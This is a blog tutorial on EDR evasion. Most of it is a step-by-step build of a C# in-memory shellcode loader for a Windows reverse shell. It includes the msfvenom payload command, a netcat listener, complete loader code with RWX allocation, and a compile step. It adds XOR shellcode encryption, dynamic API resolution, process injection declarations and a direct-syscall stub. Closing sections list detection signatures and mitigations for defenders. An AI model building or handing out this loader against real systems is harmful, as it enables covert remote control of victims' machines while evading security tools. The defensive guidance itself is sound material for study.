1047 words
5 minutes
Understanding EDR Evasion Techniques - C# Reverse Shell Implementation

Understanding EDR Evasion Techniques: C# Reverse Shell Implementation#

⚠️ Disclaimer: This content is provided strictly for educational purposes to enhance understanding of cybersecurity techniques and defenses. The techniques described here should only be used in authorized security testing environments with explicit permission. Unauthorized use of these methods is illegal and unethical.

Introduction#

Modern Endpoint Detection and Response (EDR) solutions have become increasingly sophisticated in detecting malicious activities. Understanding how attackers bypass these protections is crucial for defenders to build better security controls. This guide explores the technical implementation of a C# reverse shell that uses in-memory execution techniques to evade traditional security measures.

Core Concepts#

In-Memory Execution#

Traditional malware often writes files to disk, making detection easier for antivirus solutions. In-memory execution avoids this by:

  • Allocating executable memory directly
  • Writing shellcode to allocated memory
  • Executing code without touching the disk
  • Leaving minimal forensic artifacts

Windows API Functions#

Three critical Windows API functions enable this technique:

  1. VirtualAlloc: Allocates memory in the process’s virtual address space
  2. CreateThread: Creates a thread to execute code
  3. WaitForSingleObject: Waits for thread completion

Implementation Guide#

Step 1: Generate Shellcode with msfvenom#

First, generate the shellcode payload using Metasploit’s msfvenom:

Terminal window
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp

This generates C# formatted shellcode for a reverse TCP shell. Key parameters:

  • -p: Payload type (reverse TCP shell for Windows x64)
  • LHOST: Attacker’s IP address
  • LPORT: Listening port
  • -f csharp: Output format compatible with C# byte arrays

Step 2: Set Up a Listener#

On the attacker’s machine, establish a listener:

Terminal window
nc -lvnp YOUR_PORT

This creates a netcat listener that will receive the reverse shell connection.

Step 3: Complete C# Implementation#

Here’s the full C# implementation with detailed comments:

using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
class Program
{
// Import necessary Windows API functions
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
// Constants for memory allocation
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint INFINITE = 0xFFFFFFFF;
static void Main(string[] args)
{
// Replace this shellcode with the one generated by msfvenom
byte[] shellcode = new byte[] {
/* Your shellcode bytes go here */
// Example format:
// 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
// 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
// ... more bytes ...
};
// Allocate memory for the shellcode
IntPtr addr = VirtualAlloc(
IntPtr.Zero, // Let system choose address
(uint)shellcode.Length, // Size of shellcode
MEM_COMMIT | MEM_RESERVE, // Allocation type
PAGE_EXECUTE_READWRITE); // Protection (RWX)
if (addr == IntPtr.Zero)
{
Console.WriteLine("[-] Memory allocation failed.");
return;
}
// Copy shellcode to allocated memory
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
// Create a thread to execute the shellcode
IntPtr hThread = CreateThread(
IntPtr.Zero, // Default security attributes
0, // Default stack size
addr, // Thread start address (shellcode)
IntPtr.Zero, // No parameters
0, // Run immediately
out uint threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("[-] Thread creation failed.");
return;
}
// Wait for the thread to finish execution
WaitForSingleObject(hThread, INFINITE);
}
}
}

Step 4: Compilation#

Compile the C# program using the C# compiler:

Terminal window
csc Program.cs

This generates Program.exe that, when executed on the target system, establishes a reverse shell connection.

Advanced Evasion Techniques#

1. Shellcode Encryption#

Encrypt shellcode to avoid signature-based detection:

static byte[] XORDecrypt(byte[] data, byte key)
{
byte[] decrypted = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
decrypted[i] = (byte)(data[i] ^ key);
}
return decrypted;
}
// Usage
byte[] encryptedShellcode = { /* Encrypted bytes */ };
byte[] shellcode = XORDecrypt(encryptedShellcode, 0xAA);

2. Dynamic API Resolution#

Avoid static imports by resolving APIs at runtime:

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
// Dynamically resolve VirtualAlloc
IntPtr kernel32 = LoadLibrary("kernel32.dll");
IntPtr virtualAllocAddr = GetProcAddress(kernel32, "VirtualAlloc");

3. Process Injection#

Inject into legitimate processes:

[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(
int dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);

4. Syscall Techniques#

Bypass user-mode hooks using direct syscalls:

// Assembly code for direct NtAllocateVirtualMemory syscall
byte[] syscallStub = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x18, 0x00, 0x00, 0x00, // mov eax, 0x18 (syscall number)
0x0F, 0x05, // syscall
0xC3 // ret
};

Detection and Defense#

For Defenders#

  1. Memory Scanning: Monitor for RWX memory allocations
  2. Behavioral Analysis: Track unusual thread creation patterns
  3. API Monitoring: Log suspicious API call sequences
  4. Process Relationships: Monitor parent-child process anomalies
  5. Network Detection: Identify reverse shell traffic patterns

Detection Signatures#

Common indicators of this technique:

  • VirtualAlloc with PAGE_EXECUTE_READWRITE
  • Thread creation pointing to recently allocated memory
  • High entropy sections (encrypted shellcode)
  • Suspicious network connections from unexpected processes

Mitigation Strategies#

  1. Enforce W^X Policy: Prevent memory from being writable and executable
  2. API Hooking: Monitor and block suspicious API usage
  3. Code Integrity: Verify digital signatures of executing code
  4. Network Segmentation: Limit outbound connections
  5. Application Control: Whitelist approved applications

Responsible Testing Guidelines#

Testing Environment#

Always test in controlled environments:

  • Isolated virtual machines
  • Dedicated security labs
  • Authorized penetration testing engagements
  • Never on production systems

Ensure compliance with:

  • Written authorization from system owners
  • Applicable laws and regulations
  • Organizational security policies
  • Ethical hacking guidelines

Documentation#

Maintain detailed records of:

  • Testing scope and authorization
  • Techniques used
  • Vulnerabilities discovered
  • Remediation recommendations

Educational Resources#

Further Reading#

  1. Windows Internals: Understanding Windows memory management
  2. Malware Analysis: Reverse engineering techniques
  3. EDR Evasion: Advanced bypass methods
  4. Secure Coding: Building resilient applications
  • Process Monitor: Monitor system activity
  • WinDbg: Debug and analyze Windows applications
  • x64dbg: User-mode debugger
  • IDA Pro: Disassembler and debugger

Practice Platforms#

  • HackTheBox: Legal penetration testing practice
  • TryHackMe: Guided security challenges
  • VulnHub: Vulnerable VMs for practice
  • OWASP WebGoat: Web application security

Ethical Considerations#

Red Team Perspective#

When conducting authorized security assessments:

  • Document all activities thoroughly
  • Minimize impact on production systems
  • Report findings responsibly
  • Provide actionable remediation guidance

Blue Team Perspective#

For defenders implementing controls:

  • Focus on detection patterns, not specific tools
  • Implement defense in depth
  • Regular security awareness training
  • Continuous monitoring and improvement

Conclusion#

Understanding EDR evasion techniques is crucial for both offensive and defensive security professionals. This guide demonstrates how attackers leverage Windows APIs and in-memory execution to bypass traditional security controls. By studying these techniques, defenders can:

  • Build more effective detection rules
  • Implement appropriate preventive controls
  • Respond more effectively to incidents
  • Design resilient security architectures

Remember that with great knowledge comes great responsibility. Use these techniques only for legitimate security testing and always prioritize ethical considerations in your security practice.

References#

  1. Microsoft Documentation: Windows API Reference
  2. MITRE ATT&CK: Process Injection Techniques
  3. “The Art of Memory Forensics” by Michael Hale Ligh et al.
  4. “Windows Internals” by Mark Russinovich et al.
  5. SANS: Advanced Penetration Testing Course Materials
Understanding EDR Evasion Techniques - C# Reverse Shell Implementation
https://mranv.pages.dev/posts/edr-proof-reverse-shell-csharp/
Author
Anubhav Gain
Published at
2025-01-28
License
CC BY-NC-SA 4.0